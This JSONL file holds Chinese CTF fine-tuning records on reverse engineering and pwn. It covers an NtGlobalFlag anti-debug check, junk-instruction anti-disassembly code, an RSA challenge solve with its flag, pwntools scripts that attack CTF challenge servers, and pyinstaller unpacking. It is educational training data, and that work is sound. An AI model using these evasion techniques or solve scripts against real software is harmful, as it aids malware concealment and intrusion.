{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8cdc3e4934afdb855664", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“NtGlobalFlag”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / NtGlobalFlag\n关键词：NTGlobalFlag、eax、0x70、mov、PEB、include、BOOL、CheckDebug、dword、ptr\n蒸馏要点：\n- 由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。\n可用于训练的标准回答：\n#### NtGlobalFlag\n\n由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。\n\n- 实现\n\n```c\n#include\n#include\n\nBOOL CheckDebug(){\n\tint is=0;\n\t__asm\n\t{\n\t\tmov eax,dword ptr fs:[30h]\n\t\tmov eax,dword ptr [eax,68h]\n\t\tand eax,0x70\n\t\tmov is,eax\n\t}\n\treturn is!=0;\n}\n\nint main() {\n\tint flag=CheckDebug();\n    if (flag) {\n        printf(\"Debugger detected via NTGlobalFlag!\\n\");\n    } else {\n        printf(\"No debugger detected.\\n\");\n    }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1d130903d787d051", "original_line": 779, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "NtGlobalFlag", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1d130903d787d051", "source_split": "train", "split": "train", "split_group_key": "286fad70429c2dabb2a2b927", "tags": ["pwn", "reverse", "ctf-method"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8d86860f2efef66de46a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“实现”。\n语言/类型：c\n关联知识点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n代码片段：\n```c\n#include\nint main() {\n\t__asm {\n\t\tjmp s;\n\t\t_emit 0xe9;\n\ts:\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::439bb57db7d59ad7", "original_line": 731, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "439bb57db7d59ad7", "source_split": "train", "split": "train", "split_group_key": "d2f88fab78b55b792a5dc041", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8d8e13b52566ebae4ea7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“例题 [SUCTF2019] SignIn”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：RSA与大数运算 / 例题 [SUCTF2019] SignIn\n关键词：gmpz_powm、powm、RSA、65537、v4、v7、SUCTF2019、phi、SignIn、gmp\n蒸馏要点：\n- 反编译分析，发现程序使用了 gmp 大数运算库。\n- 根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。\n- 最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。\n- 通过工具yafu分解模数来得到$p$和$q$。\n- 通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。\n- 之后就可以通过私钥解密密文了。\n可用于训练的标准回答：\n## 例题 [SUCTF2019] SignIn\n\n反编译分析，发现程序使用了 gmp 大数运算库。\n\n根据`gmpz_powm`函数可以猜测程序为 RSA 加密校验程序，`65537`为 RSA 公钥的常用指数。\n\n最后参与`powm`运算的`v4`变量初始化的字符串应该就是模数，剩下的初始化`v7`变量的字符串自然就是密文了。\n\n通过工具yafu分解模数来得到$p$和$q$。\n\n通过$p$、$q$计算欧拉函数值，然后和公钥指数$e$计算私钥$d$。\n\n之后就可以通过私钥解密密文了。\n\n- exp\n\n```python\nfrom Crypto.Util.number import *\n\nn = 103461035900816914121390101299049044413950405173712170434161686539878160984549\ne = 65537\nc = int(\"ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35\", 16)\np=282164587459512124844245113950593348271\nq=366669102002966856876605669837014229419\n\nphi = (p - 1) * (q - 1)\nd = inverse(e, phi)\nm = pow(c, d, n)\n\nprint(long_to_bytes(m))\n#suctf{Pwn_@_hundred_years}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::68e7325345752eb8", "original_line": 1082, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "例题 [SUCTF2019] SignIn", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "68e7325345752eb8", "source_split": "train", "split": "train", "split_group_key": "b1659282823f54bbd8e4c955", "tags": ["pwn", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8ddfbebaafc5ed5c6a24", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“processDeeplinkExpression”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. 每次处理 deep link 都会重整当前解释器状态。\n2. 如果`expression`包含子串 `\"intent:\"`，则：\n3. 使用 `Intent.parseUri(expression, 1)` 将字符串解析为 `Intent` 对象（反序列化/解析 URI 表示的 Intent）。\n4. 将得到的 `Intent` 作为 `fallback` 存入当前 Activity 的启动 `Intent`（`getIntent().putExtra(\"fallback\", errorFallbackIntent)`）。\n5. 计算 `expression` 的签名（用 `calculateSignature`），并把签名存入 `calc_signature` extra。\n6. 在 UI 上显示 `Intent stored` 或在异常时显示 `Invalid expression`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d265c582948829a4", "original_line": 715, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d265c582948829a4", "source_split": "train", "split": "train", "split_group_key": "81492cbb92e69c4c3880d68e", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8e30182be6df36c3b819", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“文件结构”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 文件结构\n关键词：pyc、number、magic、import、datetime、MAGIC_NUMBER、x00、struct、importlib、util\n蒸馏要点：\n- pyc 文件在创建的时候都会往里面写入如下内容：\n- magic number\n- 这是 python 定义的一个整数值，不同版本的python会定义不同的 magic number，这个值是为了保证 python 能够加载正确的 pyc。\n- 比如python3.5不会加载3.6版本的pyc，因为python在加载pyc文件的时候会首先检测该pyc的magic number。如果和自身的 magic number 不一致，则拒绝加载。\n- 在加载pyc之前会先比较源代码的最后修改时间和 pyc 文件的写入时间。如果pyc文件的写入时间。如果pyc文件的写入时间比源代码的修改时间要早，说明在生成pyc之后，源代码被修改了，那么会重新编译并写入pyc，而反之则会直接加载已存在的pyc。\n- 注意：以上是python 3.7+ 的pyc文件结构，如果版本低于3.7，那么开头没有4个\\x00，\n- pyc 3.7以后版本的文件头一般都是16个字节\n可用于训练的标准回答：\n### 文件结构\n\npyc 文件在创建的时候都会往里面写入如下内容：\n\n1. magic number\n\n这是 python 定义的一个整数值，不同版本的python会定义不同的 magic number，这个值是为了保证 python 能够加载正确的 pyc。\n\n比如python3.5不会加载3.6版本的pyc，因为python在加载pyc文件的时候会首先检测该pyc的magic number。如果和自身的 magic number 不一致，则拒绝加载。\n\n2. 创建时间戳\n\n在加载pyc之前会先比较源代码的最后修改时间和 pyc 文件的写入时间。如果pyc文件的写入时间。如果pyc文件的写入时间比源代码的修改时间要早，说明在生成pyc之后，源代码被修改了，那么会重新编译并写入pyc，而反之则会直接加载已存在的pyc。\n\n3. py文件的大小\n\n注意：以上是python 3.7+ 的pyc文件结构，如果版本低于3.7，那么开头没有4个\\x00，\n\npyc 3.7以后版本的文件头一般都是16个字节\n\n```python\nimport struct\nfrom datetime import datetime\nfrom importlib.util import MAGIC_NUMBER\n\nwith open(\"test.cpython-310.pyc\",\"rb\") as f:\n\tdata=f.read()", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::4c75196960c660b0", "original_line": 76, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "文件结构", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "4c75196960c660b0", "source_split": "validation", "split": "train", "split_group_key": "06d4de584dd62503d7215a79", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8e4e2f25fe4f327b5e1c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Z3》中“基本使用”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Z3》的“基本使用”。\n关联知识点：\n- 使用 z3 来解这个方程组，首先是未知数\n代码片段：\n```\n30x + 15y = 675\n12x + 5y = 265\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d61e3e04931f193f", "original_line": 727, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "基本使用", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d61e3e04931f193f", "source_split": "train", "split": "train", "split_group_key": "d6b21336277ed18050bac264", "tags": ["reverse"], "title": "Z3", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-901825a7b6d6e0841418", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“Simulation Manager”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / Simulation Manager\n关键词：state、simgr、regs、python\nsimgr = p.factory.simgr(state)、factory、active、stash、pruned、step、rax\n蒸馏要点：\n- 上述方式只是预设了程序开始分析时的状态，我们要分析程序就必须要让它到达下一个状态，这就需要模拟管理器的帮助（简称 SM）。\n- 使用以下指令能创建一个 SM，它需要传入一个 state 或者 state 的列表作为参数：\n- SM 中有许多列表，这些列表被称为 stash，它保存了处于某种状态的 state，stash有如下几种：\n- | stash         | 描述                                                         |\n- | active        | 保存接下来可以执行并且将要执行的状态                         |\n- | deadended     | 由于某些原因不能继续执行的状态，例如没有合法指令，或者有非法指针 |\n- | pruned        | 与 solve 的策略有关，当发现一个不可解的节点后，其后面所有的节点都优化掉放在 pruned 里 |\n可用于训练的标准回答：\n### Simulation Manager\n\n上述方式只是预设了程序开始分析时的状态，我们要分析程序就必须要让它到达下一个状态，这就需要模拟管理器的帮助（简称 SM）。\n\n使用以下指令能创建一个 SM，它需要传入一个 state 或者 state 的列表作为参数：\n\n```python\nsimgr = p.factory.simgr(state)\n```\n\nSM 中有许多列表，这些列表被称为 stash，它保存了处于某种状态的 state，stash有如下几种：\n\n| stash         | 描述                                                         |\n| ------------- | ------------------------------------------------------------ |\n| active        | 保存接下来可以执行并且将要执行的状态                         |\n| deadended     | 由于某些原因不能继续执行的状态，例如没有合法指令，或者有非法指针 |\n| pruned        | 与 solve 的策略有关，当发现一个不可解的节点后，其后面所有的节点都优化掉放在 pruned 里 |\n| unconstrained | 如果创建 SM 时启用了 save_unconstrained，则没有约束条件的 state 会放在这里 |\n| unsat         | 如果创建 SM 时启用了 save_unsat，则被认为不可满足的 state 会放在这里 |\n\n默认情况下，state 会被存放在 active 中。\n\n可以通过 step() 非法来让处于 active 的 state 执行一个基本块，这种操作不会改变 state 本身（类比docker）：\n\n```python\nstate=p.factory.entryi.entry_state()\nsimgr=p.factory.simgr(state)...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7a91ac7f2496c579", "original_line": 825, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "Simulation Manager", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7a91ac7f2496c579", "source_split": "train", "split": "train", "split_group_key": "b2816523a82a91844c511001", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-90841d64f5ddc583e12b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Z3》中“Z3”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Z3》的“Z3”。\n语言/类型：shell\n关联知识点：\n- Z3 是一个微软出品的开源约束求解器，能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。\n- Z3是由微软研究院开发的高性能定理证明器，专注于解决包含布尔逻辑、算术、位运算等复杂约束条件的问题。作为当前最先进的SMT（可满足性模理论）求解器之一，Z3广泛应用于软件验证、程序分析、网络安全和人工智能等领域。\n- angr 符号执行引擎基于 z3 约束求解实现，因此学习 z3 约束求解器对于理解 angr 工作原理至关重要。\n代码片段：\n```shell\npip install z3-solver\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::0ee8a471a671e923", "original_line": 116, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "Z3", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "0ee8a471a671e923", "source_split": "validation", "split": "train", "split_group_key": "e8bd7b44c6755ef86df24f53", "tags": ["reverse"], "title": "Z3", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-90d42d409623e1451af6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“原理：反汇编算法的设计缺陷”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。", "role": "user"}, {"content": "1. 反汇编算法主要可以分为两类：递归下降算法和线性扫描算法。\n2. 线性扫描算法p1从程序的入口点开始反汇编，然后整个代码段进行扫描，反汇编扫描过程中所遇到的每条指令。线性扫描算法的缺点在于在冯诺依曼体系下，**无法区分数据和代码，从而导致将代码段中嵌入的数据误解释为指令的操作码，一致最后得到错误的反汇编结果**。\n3. 递归下降采取另外一种不同的方法来定位指令。递归下降算法强调控制流的概念。控制流根据一条指令是否被另一条指令引用来决定是否对其进行反汇编，遇到非控制转移指令时顺序进行反汇编，而遇到控制转移指令时则从转移地址处开始进行反汇编。通过构造**必然条件**或者**互补条件**，使得反汇编出错。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::6fa112d3b2ecaf37", "original_line": 92, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "原理：反汇编算法的设计缺陷", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "6fa112d3b2ecaf37", "source_split": "validation", "split": "train", "split_group_key": "a018dac5e9cb16a57555d919", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-917cf4a98c55d7d7236a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“NtGlobalFlag”？请用《反调试》中的内容回答。", "role": "user"}, {"content": "1. 由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::175f2f25ffdaf5f0", "original_line": 45, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "NtGlobalFlag", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "175f2f25ffdaf5f0", "source_split": "test", "split": "train", "split_group_key": "269eaa8c4e70a49a6f6adc8e", "tags": ["pwn", "reverse", "ctf-method"], "title": "反调试", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-91f99dcb0224d83879ca", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[GDOUCTF 2023]小学数学”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[GDOUCTF 2023]小学数学”。\n语言/类型：python\n代码片段：\n```python\nfrom pwn import *\nio = remote('node4.anna.nssctf.cn',28584)\nio.sendline(b'')\nprint('plz wait..')\nfor i in range(300):\n    io.recvuntil(str(i+1).encode())\n    num1 = int(io.recvuntil(b' '))\n    op = io.recvuntil(b' ')****\n    num2 = int(io.recvuntil(b' '))\n    print(num1, op[0], num2)\n    if(op[0] == ord('-')):\n        io.sendline(str(num1+num2).encode())\n    elif(op[0] == ord('x')):\n        io.sendline(str(num1-num2).encode())\n    elif(op[0] == ord('/')):\n        io.sendline(str(num1*num2).encode())\n    elif(op[0] == ord('%')):\n        io.sendline(str(num1//num2).encode())\n    else:\n        io.sendline(str(num1%num2).encode())\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::da238eb9f03e590a", "original_line": 940, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[GDOUCTF 2023]小学数学", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "da238eb9f03e590a", "source_split": "train", "split": "train", "split_group_key": "add6b56fbb50e4084e3384bd", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-92632e8c31d6a6dc420f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“文件结构”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. pyc 文件在创建的时候都会往里面写入如下内容：\n2. magic number\n3. 这是 python 定义的一个整数值，不同版本的python会定义不同的 magic number，这个值是为了保证 python 能够加载正确的 pyc。\n4. 比如python3.5不会加载3.6版本的pyc，因为python在加载pyc文件的时候会首先检测该pyc的magic number。如果和自身的 magic number 不一致，则拒绝加载。\n5. 在加载pyc之前会先比较源代码的最后修改时间和 pyc 文件的写入时间。如果pyc文件的写入时间。如果pyc文件的写入时间比源代码的修改时间要早，说明在生成pyc之后，源代码被修改了，那么会重新编译并写入pyc，而反之则会直接加载已存在的pyc。\n6. 注意：以上是python 3.7+ 的pyc文件结构，如果版本低于3.7，那么开头没有4个\\x00，", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fb3b0e8b16911003", "original_line": 802, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "文件结构", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fb3b0e8b16911003", "source_split": "train", "split": "train", "split_group_key": "8233817b94039c8aacdf7a6c", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-92705ce923ea72d380f7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[GDOUCTF 2023]真男人下120层”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [GDOUCTF 2023]真男人下120层\n关键词：lib、srand、GDOUCTF、ctypes、import、pwn、context、log_level、debug、process\n可用于训练的标准回答：\n### [GDOUCTF 2023]真男人下120层\n\n#ctypes\n\n```python\nfrom pwn import *\nfrom ctypes import *\ncontext.log_level='debug'\n#io = process('./bin')\nio=remote(\"node4.anna.nssctf.cn\",28765)\n\nlib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')\nsrand=lib.srand(lib.time(0))\nsrand=lib.srand(srand%3-1522127470)\nio.recvuntil('Floor')\nfor i in range(121):\n    io.sendline(str(lib.rand()%4+1).encode())\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e0f14a567209b29e", "original_line": 985, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[GDOUCTF 2023]真男人下120层", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e0f14a567209b29e", "source_split": "train", "split": "train", "split_group_key": "bbbceb4789a967efa5c34079", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9298ab54208ed7cc6e85", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“普通打包”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 普通打包\n关键词：strings test | grep py、pyinstaller 打包文件、python pyinstxtractor.py test.exe、objcopy --dump-section pydata=pydata.dump test、运行后会在当前目录下出现一个文件夹，往往是、，此处为、test、pyinstxtractor、pydata、pyc\n蒸馏要点：\n- python 程序通过工具可以打包为可执行程序\n- python可以编译为 pyc 字节码文件，python解释器可以直接执行字节码文件\n- 利用工具可以将 pyc 文件反编译为 py 文件。\n- 经过 pyinstaller 打包的文件会有蟒蛇的图标，Windows 可以直接看图标判断，Linux就需要通过查看可执行文件中的字符串判断：`strings test | grep py`\n- exe 可以直接用 pyinstxtractor 解包，但是 elf 文件就需要将文件中的 pydata 段提取出来用 pyinstxtractor 解包。\n- 运行后会在当前目录下出现一个文件夹，往往是`源文件名_extracted`，此处为`text.exe_extracted`\n- 该工具目前版本已经高于2.0，不需要再补全pyc文件的magic头部了\n可用于训练的标准回答：\n#### 普通打包\n\npython 程序通过工具可以打包为可执行程序\n\npython可以编译为 pyc 字节码文件，python解释器可以直接执行字节码文件\n\n利用工具可以将 pyc 文件反编译为 py 文件。\n\n- 打包\n\n经过 pyinstaller 打包的文件会有蟒蛇的图标，Windows 可以直接看图标判断，Linux就需要通过查看可执行文件中的字符串判断：`strings test | grep 